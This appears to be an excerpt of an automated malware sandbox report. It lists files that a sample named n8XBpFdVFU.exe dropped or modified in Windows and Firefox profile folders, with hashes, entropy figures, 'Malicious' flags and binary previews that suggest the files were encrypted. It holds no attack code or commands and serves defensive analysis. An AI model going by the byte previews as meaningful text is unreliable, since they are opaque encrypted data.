SHA-256:	5E970FC15EB799B40E15148C75215DEDB5D2AD43A4C3A2B0997F0EA6B04CFF60
SHA-512:	24B4ED39107819B233F33893577EEA654C1D2CA8335234E3DA54CD2BAEA4F18CE23E99BA9AB92D185E2571F0F31C01C8D79AFA87E8F68247CF9081FB18722F28
Malicious:	true
Preview:	'use n:.9.8...k5.....a...grS....'.(...'...c%......4.#...g7c..9F.u"oiN.."7.m.3.....G,...oN...u.}...n..............#.G.V.k.S..n.X?.Q.:.9....L. ]l$....3.p...b.b4............g.~x...x...`.@.....tyR..K..}$!C;.2."`f./l\.z.J.+.T..H"..2.(.mPG..@}....2......E.....t.U4.....b[d.......,H,....?..m.}R...._^Y..V...Vijm....f.............f..t..,'..V.k....%I..B.X.&.of..A...8.Jq0...w;..qU.b.,c.......Hbk,...?.......~.....!jR.......!.b,#...j......y.di.\..zy..u.......9H.M.....q.lR.w..h...k..90.r..YY..=.Z>m...8\wv.6......XPUfv.o>.....f..F'6K:.%2v..i.O.I...o..........C.I.r.Y.^.&L...$p....S.j"{v...o.. :.+#q.H..... x.nQ@.:b...C.wv...c.....D.H.P..T..K..,.SRB.....AMZ.*..Z._.y..]...gqf.,[......D...$.0.....RX..w...K....:{#.....`..`....\..@a.Y..E}6..-:....uGk..<7\|.U\|.R....>....\.:..H?J.\|'..../.S?.Cy.>.Iv..f...t.:.....o.TZ.4....;e.$_i..<.%...j.. `......x.k../...M...}.5H.$......\|'..~T+.2N....'.Q.7.....:...yX.........Z.m.....A.\.r.Y.q+...._+...x.....m...a.....1h.^..m]..

C:\Users\user\AppData\Local\Microsoft\input\en-GB\userdict_v1.0809.dat

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	20346
Entropy (8bit):	7.992130463146796
Encrypted:	true
SSDEEP:	384:nINzkhFci6s7SoOmtKBEK5w4W73lkzArBt9eRo1AYBdzm1b:nozu62SGtKBEK5DG3mzAFeRoV3Yb
MD5:	FE0D1743D07467CF8E1B86671E5436F1
SHA1:	6EC03D8EA96872FE42FD685897ED81541C65D3BB
SHA-256:	BAEBEDB46DD6988332B5A2B33CC9FCD793FC550B5B2E72DBEF162EDA41198C25
SHA-512:	F06136F70B104B4DD400C37FF4FD21A319FB442D030C02B33344BF5F037711A778A3873E9B4D42780F3D87D4E5FD60FF612B42726E18CC44194A83EC8CB58D3C
Malicious:	true
Preview:	.....+.]_?....Bl..L.W.zv.jK..o..c.K.d.,.....kRT......Y .6..:....p\4.}.0.u.J..o...n....7.> Ht\./.}.._...=.`.Z.r.&.....i(.&.....b.151.<..&G.L9....s.v.vWc.Q.......$V.A.......\|.D.:.tmm...R..S....D.X.$..R..%.......hC..'...j2C...5.q8(......._J..G..?..X.,..A..hU...N..<A.u0....4b.v[.)$[kPp?0.^.....8..&..w)0&n....H8..Y...u.M.....$..n...J.H..~..6.N^.b....._}.;C..n=[2.].....[#./......p.W.`e...j.j..s..Z.-G.St.D.Jb.?..%..K.#....!............H....2.s...5q.t.~.....h..<g.6P?..J.P.l...h9..k.z/~..8.....MRh}pj.uVd.).T.......wO?'.../i..g.`..J..F.)..m.-Q"..g.b.......T.. ......Gl.!=.&O2W.q.sc'.../0.3..s~....h..ok....D..^.......+sB...B..d....7...E...:`.9.a].B..J..FF1...t.b.b."...L.\..._...f..../.M.}.~..Ti0.._..K.....R.K..%...:.e.j..F..]z$..<u......$Y.Wf8!'...8".t\u.L"..^0M........{>.5l........C..nFW.............l.<.w..........{..@....0._.b.+..[8......v..D..OK...f...M........<..r6&N.?.I.........k3].?q..n.S$C_x..0...#...+qM?U.b..Mj...a..Z.i.x.... ~%w8y

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\activity-stream.discovery_stream.json

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.865973761904752
Encrypted:	false
SSDEEP:	48:Y3qz1SQCYNre1xGvS/eUMKBGqgnFZtTzszOLyIBqYEGwD:N1je1goPMKAq2FTfsPGs
MD5:	CEB98CA4047E96537EB047428DD36578
SHA1:	AF48998FF5E8054441A29BE5B831FEBA43843598
SHA-256:	F31E4AA9285844E4E34B80D70FFE1A5AB8664888DD1F9029A015B9F49ABAEE8E
SHA-512:	501B2505A82CA4C008DB936CF6D00A6143023C8C39E7C09E71B27CF7D11747AAB199695967B90C490988FCFB4D20BB6684113E19652ABCF03C75B7EC51DAA0BF
Malicious:	false
Preview:	{"spo1..\..`~m......>..f.c..r.TI.....@..Ba.T.R.j&...K.......V?.4...d..x_W~W\|6:.w...o4..w&.l....Pn....]....-j....n....YN#.~1.....N.. ............e`7......nlH\|..s.I4...!`...-.5../...g.@n..5x....p.kq.....6q.<.R...........p.i...iy...4...G..gCi.{P.^G%W..y"$.....A#..p...;'..SVK....._..X. .P7.......z......)1...Ll.9.Pl...,V.-HFm..k.>....)!....g..J?...t..wA..9$...?.......\....`-q._[..#@..p..G..........n^n....z...(...,.x......i..u..k._.....n...&...<.b..6....N...O..M,l.f.~.Q.C2.P.(..%...%.u....j....6eo.r%..3..P...a...3..;.8....=....K.u.>.t.-.#..ayr?q.6.S..f..8.t..M..qz..=c..?..+...:...l....d[..hr......!.\....yV....h.k..xx.!.0..`y..{.R...x..qw.Vi...5.%m.9....vf.R.n..fN.$c..B...q2T.O3j.F.a.M..T..z9.oK..+..y...w...)...m..V.w..,.....dA.O.....5.Xz...M.Y..Uj.Vy.}.........69...O.[.~.i..Zs...B..4]..-.)....h.ba.Ou.4..c...6..X.8..9.....=l....\|ur\|X~...c..bQjzM.A...mP.%..r).(...M.f_.u2...f48li....,_..C.I.4`.Nu5..g4........K.R@...J.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\scriptCache-child-current.bin

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2046434
Entropy (8bit):	5.076656680097413
Encrypted:	false
SSDEEP:	12288:61biKYhXuC4xqcGG487l/bpO7oypPA1OEiCIuRhRuPoCnE2ZzNYLQhhWiqAg+Xdx:6pBSNcGGR7l/bqs6BjUNR+D
MD5:	CB112456FCCBCF88DBB8517E4B90E67A
SHA1:	33CE0902B42576E767A18214670D667B3D7F2C6E
SHA-256:	9060A570B8CF0900AEC8F294199FCD4EA779E8FCD4D6582F4A40C972C7D3D454
SHA-512:	97BAFEBBF6ADE12AF1AB7C81E42F61A8E2F565ECE47701A066D4FD9BF326D27828598941BAAA9F2A6D385CC722459432079310DEF7B68968D6F82CFD24AD7A36
Malicious:	false
Preview:	mozXD..a....D.~...4...v."....k........V+d..F..SF"x.%#sv...R......g..B.....>i.[....OD.a..g..Ar...,\|.../.o,.SWzNm....ut.e......P.%s....H.%.#h.l....\|...\....Yo.M..j...V_?.sKZ.Bm...#..y.l.m....Y.k..i.Q..Z......)_..ux.....D.j..i...<.\i...(A..H.<...R.....f....m....qO...>s[.......X.o[..s..B.C..[.EL..xP.+.{W.=..+...(.... .....N..k.Z.N..;...x9:[.{Gy..a.8....DiYp..F.h.....t...EI.U~..=Qh..."..8..BUYJ........x9..2.5..U.gzt.._....B...=GTs...[...N&%:`....0...7Rk...I..R.{..W..;..u.......GEI.._Z.....3A;u..~...&....rV.KGGeR.I(..7]...........1k...<....$..&4......H..5F.tv.r.gC....vs...j..=.D..Kb.H.'..({.y.+..N{.j.a....1...H...o5:...t....d.C....S....Ax...g.....BP...e.TeD..RK.w{..6.CD.n......$.".CI....b..p<.,k..kO^7...W#....]tR..k...-Y.)@..`...e......~".....s.x....o....,V..Jq.H.......D.'._se...qtH...Hj..9$.X.l}...*..aK...:.............E..!...xK+..@Pw..Kh[..M....F...._?R..S..x8...L..#.i...P....M..T.'..d..?-.....~.y.......Y..7.?.;...yto1.~....r.)..?R...\|p.I.I......O

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\scriptCache-current.bin

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	8387278
Entropy (8bit):	4.802771009016703
Encrypted:	false
SSDEEP:	49152:gbNTsWjwTv3Dxd4C4sWDc+ikpXGGRAuAgdyR+FwDkly0CNG1Kl/S/qyal+6N7hSZ:gBGv8EW5IdVgdy6gn/SSyal+rPR
MD5:	9243ADCE0752E15B4BBFF6E81FDD9D6A
SHA1:	CB591AE5BA0895CB419F93D29A1A37C1FE5E72C8
SHA-256:	E4B7E34ABF6F3618A020F77233174A60A4886F05EAE7278E844115DF34E45471
SHA-512:	2BF8F54C267041293C9C90977797AA25C4552261761EB3F746C42591B8F21CBD04549D8EA2210C89CFF9A584B95577BFDE53BCE5D9A159236118A1741DB8B879
Malicious:	false
Preview:	mozXD(iN..%e.G.....e...pu..X.....h..j..r+.T........26H..c.....~N+<.[....................a?..m..oU2#2..r...l.a....G8...rh..`)A....O......}.x..bQ..J....`.#B. .H.]....[2+8.J[u.l.[%t.....o...\P...z3&.....m.U.x.Q`.......SX.`...x<..k[y;hI,.ed.f.6.7...n..8...7....Xr...U..V..-@..8).8H.q...c?...9.N...6.x.j.Y.T&....2W.X$8..%.(..G..p...$\Eb.V.VYCI.M...Q&[.gH/v...&.'Di.B...$....7N#.7.h....M.q..D...Y.x...J.J$.1F.NK..J.v;...2.J......\|....(.......f....Z....!...NLP..._?.....s.l.q..Yqqpsc..Y,...rgb..e.7.......pX-...qs..}.z....ql..V.M...<.........veC>.......:....6.o....\|.@J.4.3.".\|..f.T%......`...w..].@liy.a..?...]....Tj.z..#.._D.......ak .....c....4Hq.<...N..;.-E..6AY.o._w..0...Ft....D.:..S...d(D..4......E.n^l.......y!.....~....../..x..`9.;P......a.g2.v.n...x.z.......v.k.i.[..M.76a.....(N..19..$..l2:..f....l.......@3tq...y.x....o...j.qV&...Z...$lv....h...B.7A...=....]9lF.7..._.;W..a.c.Z.X.w.0.e.h...i...,........E.y.k<.p.P+..F.ef.._d.....@7..Z.u.....k..O..p.8..

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\startupCache.8.little

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2620287
Entropy (8bit):	6.998813786584646
Encrypted:	false
SSDEEP:	24576:rFVjk8zORBEY2M9Ooj6HoMllbQkvFLqLhjYOC5QSbs9fmadKzz/we3qR3omqfkXq:rjpCToM99IrJxEhfSI9CyYlNjcHu/Ekt
MD5:	2D1E3D7D1F8311BEB499721C83B77F17
SHA1:	00C8EE866D4F4638E88331952ABD35330D9EDA5F
SHA-256:	12D8DC3803DF0F96F40DEC541DFC8F80FD2D567F4EA20D75A2311EF4769E3FF1
SHA-512:	0309677611E86EB5528EBEDB88901AA9912F3C3BA7B5645DA7A01EEBDB85EFDE1BD49B2B3444BBDA44B50F2516CC81F86D4EC1F98700ADD5DBB0CE9648795964
Malicious:	false
Preview:	start^ .R#....-......s..o...k.^z..J..y..i..<p..(g. .'%.eV..../3.YN.\|...f.%.8uuX.....L.\.x4....)'E.9L.>Di47.t.(...O.e.....~.qg.......S..#..3t..x....2.g.....R..Kz.7W.M...-..=.....Ed/.Y...9).7....7.e..{.j....b.}.S_....EC.&...3.....8...'x...l.q.a.@..$R..7X..<VJ\|.R..MQ..!O{.D.s..o.-........t...xC..fv....\|..Z.t]~.$vD....Y..8..5...j..l..6....x.>....5.......,.0zl..b.N.X..w..l...J....}i...+x..]....s6...B.......p....N........(.%.9g...c1.8...)....4]Q6.t........../.....+E\|...T.w.....O........[`.....e .'..rC...+....8.v,......,..s^..4S.EpB'`..*b.....j....]O[...Szcy(...Q...O....V.'...:sN..6....&....v......\...........#..i.X...6...V....L...{..D4!..C..P.......y..9.hY;......;.....u.{......q...\...N....oo,...i.B.......Z(.......^.....rk...p(`@.C.J.."..u.o.]:..%....?.&...x.E."..n..z....N....]...V..7d...uE.W...-Q..w....2S.@)s6z......-;.......3.4......;........`...^......[.!....bq..I..`....0F..'.T.> .....f(p..qe0..;N..&.q&tF.m.....h.C..v....c..U.\.{

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\urlCache-current.bin

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.9353799016931825
Encrypted:	false
SSDEEP:	48:l+mbYAfyVume45kzczLoQEZ+NKuBTZ8hBQ3xS28SpHkAUPq2ywxfXqW8ofG6ED:l+m5OSHc4ZhyZimM28cUPqnwxPq4Q
MD5:	9B2932DF27033BB1B24E4EB9E9BBB08C
SHA1:	5734F1523494FCA3C88DC5D85349911CF5D60AEF
SHA-256:	D1D6F73ADAD35D2050A9F69533F32E6B9AF2CB154A4FE736D421DF2E6C82AC4C
SHA-512:	2B3F3AE669B6A7C0FF4669E8872C5D8140F6155E95793E884F60F0B0D1F4977F1F16880C858D448F7556C9468979E26161A94038E77AD24955202B5E61341DBE
Malicious:	false
Preview:	mozUR.s.1.:.J..>..K..%5..u..?..C82..y...z.J.E1..g@.\.~..f.Nf.%.....m.......W.)w.r........\4on....Ak.<.../.....OiE.2..3.'2 r.V..jz'.e.A.I.l.B..~.~d..$t.....4..p.5...p....@!x...P.'.<$.Q=..K.9..2.,.1-.....+<.....J(.5....8.).....c.8...q<....x2$....\.]..p:...J6....\|)....K...<.M.O...~.3.c..I.5......3..{..h..N?.5.('..".7........7...#..u.9..X.`LF5.J...U..O%.3.O1\|...m.'.G..+i&.Of.sp.6...y.(....)ER...1BO.u.5.....:.&,>Ua..b.../?>Jl....Q.\.s.H....XL)I..9!H<(...............0d..TS.;<.@...Vw..Ft...s)a.rF...h2g.}.B...`Z.d4....]N8.o...t.f.FP...L.c......K.r~.c..+`h....t!>....e<h.jj7@~...g.D2j...s.....V...Sy...9.^...+....=.%...0..i5N...X.#.}(^.".#..c.b...g..C....:.4zfJ]A^.Q.....9:.6G..Q.Jv......{...>.....L\.O"..O.a....n.......:..`..tOO.9A^;bdjrK.m....#.9+.ZTf.9]....b....&..m..n...%.(....t...=@..,.._./.6H.v>..d...uk...X..a..t.*9.cFs..U..J.j..#}.].;..Fd. ....._q...C..%..^x....'.%.J...V>\|.}3d.......6p...........t..V.......Dx..r..rJ.$.u.r...z{..$.`...l.....W...z.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\urlCache.bin

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3739
Entropy (8bit):	7.954484029999279
Encrypted:	false
SSDEEP:	96:5jecrCckkM1ApKhqOcx2ymLDP5hWWjl7Y/52oYqpzG:5pU1Acq/2fjX0woYqp6
MD5:	B2222F592531FA97C9A32CDD685D2D6B
SHA1:	FE6A814672BFA1F9F3DEE58DDDEA9E5F5C20CFB9
SHA-256:	CF994691094EA711302AAA02BFD47642E8AE500C517532CABFF5A6094D460495
SHA-512:	81760AA40D646967E43925F2876FE824437121D324758A60D075105B458259A13CE45F8A55AEA2986E95E48F33EA481A701A69FF3445D214FE1E9AC5D786C4F6
Malicious:	false
Preview:	mozUR&0L.<...3^.NS..`....{.=.G......`.S.q.G.Z.~y.{.;\Dn./.....k(..+.uNO...W..W.$.R..X...xR.G.....6..:.g..N+...s..0...y.+...?....%........T)tR..~..),]# )...}o\|... .[...b..d....?If..j.....}.Z.....{a.2..W.y.Z.t.......%....eY.P....D]...0.c.O...V.......65..2S...V.+.,\|...wC....Wg3..\9.'q;.9.&......).K .N.%..I?`u.........,.....5v6.\|.........mZa..f.C..9..0.O;A...T.o..~.......V. ...,j.<.......]..L.c.9._k....s[..I2....H.....a."......{....m.g..Y......=.f.hw.u..e.y.:..0D.Vw..V6...L<..?.(>.....}."L...s..v.w.@...<\|^.q.)t....a.a.[..l.^..m.uU.....L..i\|.K.dXZ.9\..n.=...vA5...#.:.qn....<Q.5$.WS..`.Y.,.M...z)qw.....~....c...d5...V.&.1Y.D...t...R ....Eh.g'.F...G.....M.{......y..=..ENf.l.'.ttw.._fT2....c.{.;<pd.....?_....6``....h.....X.V.".Q..J..}.......`..q...P..1.xm.Jp(.<.a...>F..68.%ByY.fA}..;......>!....I...+.....+.\|e....xP{.`m8&..k.7..q.C......V$.E^.?.{.<ZS{)......eD.....#..R..7.{.i..^..H..y.o.%...F`....;.e.7>v.....x...8....C.D_.`...-.2...8"G..

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\webext.sc.lz4

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	110692
Entropy (8bit):	7.998351389879937
Encrypted:	true
SSDEEP:	3072:Wj76QiMMrYV2Ed5V8jAiMUVrxiA8D6uReZankkEN:icEfG9/DacN
MD5:	1F6E838867C32E3FFF14AC3249799D6C
SHA1:	0A781D52C3901A2136344955F6697579DEBF98C3
SHA-256:	8BEB3E657E7B0F49A41BE4629081FC2B2FB22BF550DE8A0EC1C49D2253667AC6
SHA-512:	CA470F25BEAF35CDDA910AF2D95E0890E7D37C2B0095E20E2C6FFB0EE1A9A79C660CF4F3049FA67EA257583AAD3740C82F168851AC311C680F8F367B2AC39498
Malicious:	true
Preview:	mozJSz.jPs^.r.`.J'.E.....~%.,. ..o).I....X6.,k..."..R>.. R....ML..I..z-"3Ge../.d.V..B.X........x........WB...=..f6.(`...A.. \.3......L.q.s............q..R..{.>-1.Js..&.X.T ......).P)...&..DYZ}.H..;h.N..z=DQ..@.Ed....=...R...W.........O..z.P..\|.9+.%.6...+.....B.."..^<.j....S....7^VCH.m......^.@..O".i..3H..... ,..&.Y.r9o.\.V.Q.O..'./A]I....x\|.px...4..._)...?..j..u.Z..C.f.._.0i+....u'..u.2.....R..P.fm.;.b.X..6.h.p.h .FV.........g..1c..w...F..... ."Kz....3x...b.E..YA3.K...Rjqlf.k.rzf...d.v.....H.:...9..(q.l..W}...}.....R.qo=.K..}..Ud.6.0.Uj:....)....U.~.G.....N..x&I.M\|.:,..?...r.T....3n..f..}...Qiku.Yk...q.....Ly^.6o2..F ?X..$U.....'.7.......B.......fB\...U.@....p.4-.......N4.me..+H......B....=..7m....9....Q..y.q...u..0....?....+.....,..qQ........VS8.......N..6\)u.........8_.....V..e.{....lE.d.....g.e..J.>......]..eh"....V....I.L.v.k(..."I..Oq..T....I<..?.........j.p...0..A.....\|,f.........LzI...Wb.!..........*...4....E}..'.{

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977697774900015
Encrypted:	false
SSDEEP:	192:jzcR+dQCwATwqgYYks0F8dmiYteLB5Hg1kmWBo3Ugq/mEu4h45CC:jJ69vYpvihLBpzfgkTu4hE7
MD5:	4791A18F23AB36B09CA8F7E0C9667DB5
SHA1:	C8FACE9269CAECCAF7596F62781B2FE4DDF4A3DC
SHA-256:	664EBDDFA55736289CE84977008A0BF4DF4F8FC89A960B93E81C6203F616A5C0
SHA-512:	B9962CD98A7A86AD003A04DB41C51B891FC069D2CD3C82E69A214A310C21F0B1689B27E496B6D291A86A6C88215A4DC2EE5F35209C6208850E2755B9E8FEAAC0
Malicious:	false
Preview:	regf..c..0K.-.A.;7..]I.....]..6...k!."...H.....~5.WV}.I....#..9?.m......zJ....L..c.....ec.p.;W..2....\|..x..Ph..A..4..#..?jG.gQ..O....).Y6.G. rH'..K~X.7m.q.......1...l.Jt^.xb..-.:..Ni....J.......H.Y...1K..%Y.=a...t9F(=.Y..v...,.C.IB.]...qt.k..._..nI..6r..."...V....D4W"....<.q....D...(..hwRLb8>..Y/...d..>.$.Br-.#.{.&.MC.=_..<&.- .!y2.:cp.x_.g.........GX...^`Y.b.o{.......o.H\F=...I.425g.?...fF5.).....X...S..7N.w..dn......$.cn\|?...mn..7..N.....bL.G.u./..W.4.....M0...NWl.J.\|.#9......0.z[c..G....rR.c........V...L.....A....oj..{D..&...;..\|....f1X=T......b0.=$...a0..U..-.,...A.s.]..WP.yz...[.....?dA.3..T..G/..M......I.gN...}...........!.v.....g.,.....h{..@...m.u..$...Y.q.;.......$[>...H...7.(....jFV.#.%Jd..]..uSG.../1.h.$..>.y....Y.d$.....a..8.2...$.:...F.I`h8...k1...p(>j.....2..=..$.KEEdZ2P.\|t.1T.l\b..(...+.Y..U.O....Zu.C.Yf.(..;...+..r..+..@....d .E.,.....7.?o@M_Y.[1...%...!..O.$R..e"`....7*@`S...z..}D)[...r.(2Vh...6...#u....s..A....O>..

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976863160765257
Encrypted:	false
SSDEEP:	192:uJhJ5HTXT4x0rhCBPGyIGTKjGYmQ71XwWLBQLq2+:OhJ5H/4W89fdu9BAq2+
MD5:	EA19FA97AFF10799A075ED1CC61776D2
SHA1:	E4CEF9FB256E01ECEFDB5F6B435BEFA01D00E40A
SHA-256:	505B0F942F9C7112D301AD822F29C4FAD238FED641301EE25DDE73E0B2954F27
SHA-512:	6001B50CEB6268AE5F643DF16EA6452B5A87598EE096CFA40891B9ECF2CB3DE795A8F27A6FE1C809B8FC0FF09F8F6A5F57952E2DAE21A6DC400817B6981E0A63
Malicious:	false
Preview:	regf.e4..c..p..>..9..p!hwP1.!.l.#.j.d{....B.Y..iL..=.....,.A=\|.=.j...\..0..q". ..4r.C..jE(l.y..{P....F..`.. &NC..g.u..w]..6.w.C..92....(.!Z.E.MX......b.......Fn.";.........Eu.0.X..~..t.I.P.~..r.....F9..b.(...i=b.mJ..;.8.t.e.V.0XT.......xA/Gg...I.e..^....Q9.t......a.J.....:./C.\|....i......EZ4.[.2U.@./zh..nH.......z..... ..2}.:.'.F.w{.i..@=.m....&X.7P1..T..4.g3..2wr[_+...kW.!..'...M1.......Z..Kh..F.lb...?.yc..b.. x..t...G.......m.(%.w...Qd..T.M....K......~.UyR.$9.8..f..%.(....eP.mB...\|Hj..N.'....u+....(e{\+..X.b.Q.?fd.FP.0.....W.[.A....I.98.I.(......v..:/..............5.I......O..L....x.J..I?..wP.......=............:UG~........,..f..@.....8.b.9...kHM...."5..X..'s...f.c..R...`z. SO.}AY../.-........b.J.[.$........U\.XN..C3.......`q...}...[?N".ap`....t..:..h.t.J\./qqT.\zwDP..(c_g. ...q.T.<L3.P...eub.[W.-.}..8....T.U...=g....D.......R....o.&.D.y...tM.j....]6...!..U..;..ZRz.IXLoq.....}\|:...@.X.*....`............/.L.O.n.e.._s.3......K.....7

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978372945988782
Encrypted:	false
SSDEEP:	192:WfNS0N2hAcoogljVotrcszPhk0/xjHX/2ZjvpYuKbiFlGU81Lvoxe5kkDOFI:6P+CKNc85/xT+ZjxYuKd1l5kX+
MD5:	3C8D8F24740F70069A1F359743E27E2B
SHA1:	9315183D0178D0D089471FA06E1245A9EB667D5E
SHA-256:	0ADBF39B9112F450E2BFB09695B15FC8F37431988B8CD40DEAF8360E1A06CED8
SHA-512:	529694DC619EAA6447BEB82B2F1911983ED4DE64E569C0A694385A4072C0DED49964B859B4D4BAE4AD8C929FCBB696791F08D496E0B5DBC7610ED0071149BE76
Malicious:	false
Preview:	regf......G.k\K_...4..>....l..!..\..."..J....=f......M....,c..]X.I..)..........]C....k.....y...^L..........E9d....!\|-.e...L.C.'3j...8.A..G....y.Dc..4`.,..E&Q])~-i..z.b1G..=...\|.Ozi.r.B.v.V.D<.[U......xR.....c..:......qE,.[....1.$.....Q....e.b.....c...MZxW.f...i.2uveP..h....Pn;.kl....y&7.z...I.o\H".[]5M.k...r.$"zx...?zy.n...Q.4....F.u.=..;.l.,..X...riH........!.&........:z/.K.-../9n..y.0.T..}......-...?.....j...f...\|......._Y?[.}T.....E..:o.%i_`3M#s..+.g.>f..`-c6]....k..Vt..A[...P...F.\|.....2.4.L6..z......o.$..E...7N.7.n..pEQ.fD...\|..O1Z.t.BE......n.#....(..n....L.xq..f...b.......^B....x.nUP."..i(...KR.9...W..(......`M.....o..4....}G>.n.M..X..m.....>.t.A...V...NP.i...../..[......Y..H..-.....J5....=..C.@...b].......\|...e..%.q"A..!r.p..W.Z.;..9X.WU#..yd...9s-.../">.0.Al.d.}M....8...cXl....4..,..Y..q..H....:k.%b......N....PR..C..-.9....mx25szD/.......LX........#0...+..4D\m.NI...{B..t.3.........ql.P.ay~/....3...<M'l.....1.........B

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\squaretile.png

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2727
Entropy (8bit):	7.943480276863945
Encrypted:	false
SSDEEP:	48:wUa8SRqc9C1YYj53WP3toEGOTnFNsrtjc96jwx1t69L3ztKKlHGe7uJ2+lsDwLGh:ZSRq1Yq3WPdoChNsrtsx+KyuA+cw6WVi
MD5:	00FD00251DB9379A329A08869B45280D
SHA1:	F47A27354F2F9CDE4AA6B6E9A4362F26B50F529C
SHA-256:	746993C5BF17075455CDD52620A905FD1EA16863880966534C19AFD8DADFBE1A
SHA-512:	BE0FA0DA5E7536F4F21CF6840FC942A3D0045C9CF7A5AFCC71A39029516B8F4284D39D4172D8C0472FD48872D1BC7A53F2920B31B74A42E9CA2745BEF813D3ED
Malicious:	false
Preview:	.PNG.z.....'.....q..]F..k..[.\|.......q{..1.].....>c...6GO....7].\....r8.....e..U.q.w.W3.......;.}................B.6vr.! dB..#.4..'.D.r.cL....`..K.+.E..N...U<...f...wQ..>.iehX..F...{WU.=.4.....tR.....^..........I....._.O.S..B...t=.t.........;....D...~..5\|BQ.a.z2_&...V)...... ..<..c!.1o...9%%.~.1SnxR...RsF..K`.,...+...._'<..PR...9...Nr.<.V.kGM.=Ed.N .wH.......!......._.Z9...i....>.<..........0.AJ.l.5ZmmB$.YkO..RTa.j7.........M...>....?...WGH..p.....2....P.......5L...3.k1......G..8p.>.:..).....c^p..o..Z.R7.....>..7..#y...\.lz.i...............0\A...~Sl..3d8..=.j3.f..SM..A.y.nF..^....v.=..U...6.].a."...C.\.....#.......J.$.+n..!.^.j....1.....#O./8.%....:Y.[..Qr.H.?.c..+..LD3.x.}....>.Q.%7AEK>.!.+Z..f.?.b./....rV>.o......u...YR$.si..C....k.On...a6..e(.Q.... .....!......l.o[.P..E.nz.w...s.3..)..6a....6.v'.O.0............/`?Hk..k..t......Otl...GS.i.>.u..q*.5.o..-.c...w..>...;.U..2b...](\..".x;r..Z.g.:...l.T..%.}7-S.......e.3...L.u.3...

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\tinytile.png

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1961
Entropy (8bit):	7.905246197980444
Encrypted:	false
SSDEEP:	48:4X5LVyXlkks1TZtZO/nsN5WdA/J5ntPz7KRUyqgEnJbjD:4ZVulWNtZOw7VKG8O7
MD5:	B28115AED71A4D7E74197BE1F03F4F55
SHA1:	FA27476B16EA8DF7843CD4FDEE2D382F08663BCD
SHA-256:	0FC36558AF85CD5D3498890C7D895C1DD336F64471ECFFC0C01E2A57485E46C7
SHA-512:	49EE87222C5FE090D1912DD471FEFB9B6A05A66C21B74B7AB2437F3723FE90256329894E02B7F4A8277A3EF98052783731F6F83382AAF2D78B78CBB644432913
Malicious:	false
Preview:	.PNG..(.k....c3./.!.<#....\|.L.^,2T9g.-.....&..uoe...w3...?.W..r.0.U....#.........dS.&...x..~#.W..=.x.....y......g....M.cd..>.N...e1..}...........+5M..@.U.bE.^.7..<.6..N3..-;....7H3...K.8\|......4.s.s...eK.....,..D......cgX2{.e ....s.........."~..]..{.7......s.rX.....8<.c.{...../.}t...P...Y}....A.j...'.L.n...$w..E...."a~o..-.....T:....p!..... W.....wp.4a.fx.M.Q...P....>-..Y.,I{...H.......OwL8...2=p..a.Z.z............ ....-.cQE1....?.Y(@.<..X....0/............W3{.My..8.......z.]...P..r....$.U.7...r.%..J..V....<.s.s?Y...Xh...`..P6...8.{&R.RU..3.'._.>.7.K.\|n..A..h../j..7..d..!..Jke(..)...:C.b.y.c...?(.....Lp=..i.J{W..fc.b.3C....\|.......v....uH.'..T........S..(.j...@6l...KL./}......v..(..O\|n.......L$.@............G'..7<.4..[.....R;.cY.*3.".'.J...J..t.hu..C.M.A.b$=CFf....PE..$)~k"....._D.8..c].Ew;...I..JI...;.....X.cS.T.,whT........)..c<....J.;..H4....!.;.........zk.p..P...8G.+Q...&.>'........+..J....} .S>...nh..].f......Liq..p=

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\squaretile.png

Download File

